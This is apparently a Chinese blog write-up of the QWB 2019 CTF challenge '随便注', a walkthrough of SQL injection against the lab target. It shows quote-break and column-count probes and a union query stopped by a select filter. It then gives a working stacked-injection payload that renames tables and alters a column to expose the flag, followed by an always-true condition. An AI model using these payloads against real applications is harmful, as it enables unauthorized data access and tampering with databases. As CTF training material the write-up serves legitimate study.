0
点赞
收藏
分享

微信扫一扫

[强网杯 2019]随便注

[强网杯 2019]随便注

根据题名可以知道为sql注入。题目直接给了1,我们发送一下。

[强网杯 2019]随便注_单引号


看到了给的回显。

[强网杯 2019]随便注_单引号_02


再次进行测试,在1的后面加上单引号,发现报错闭合不正确

[强网杯 2019]随便注_字段_03

测试字段

[强网杯 2019]随便注_字段_04

在2时正常,3报错,所以有2个字段

[强网杯 2019]随便注_字段_05

进行联合查询数据库,发现返回了个错误

1' union select null, user()

[强网杯 2019]随便注_字段_06

经过分析大概是过滤了select,发现绕过不了,那么我们使用堆叠注入(将一堆sql语句在一起执行使用分号结束上一个语句在叠加其他语句一起执行,一般select等被禁用时使用),查一下库正常回显。

[强网杯 2019]随便注_字段_07

查一下表,发现表可以查询到

[强网杯 2019]随便注_单引号_08

查一下words

[强网杯 2019]随便注_sql注入_09

再次查表,发现flag存在1919810931114514中

[强网杯 2019]随便注_单引号_10

因为进行了select过滤,直接查询查询不到,那我们就将1919810931114514表改成words表,然后使用alter table 将1919810931114514表中的flag列名修改为words表中的id列名,通过原本查询将flag查询出来

?inject=1';rename table words to word;rename table `1919810931114514` to words;alter table words change flag id varchar(100)%23

[强网杯 2019]随便注_sql注入_11

通过内联查询1‘ or '1'='1,得到flag



举报

相关推荐

0 条评论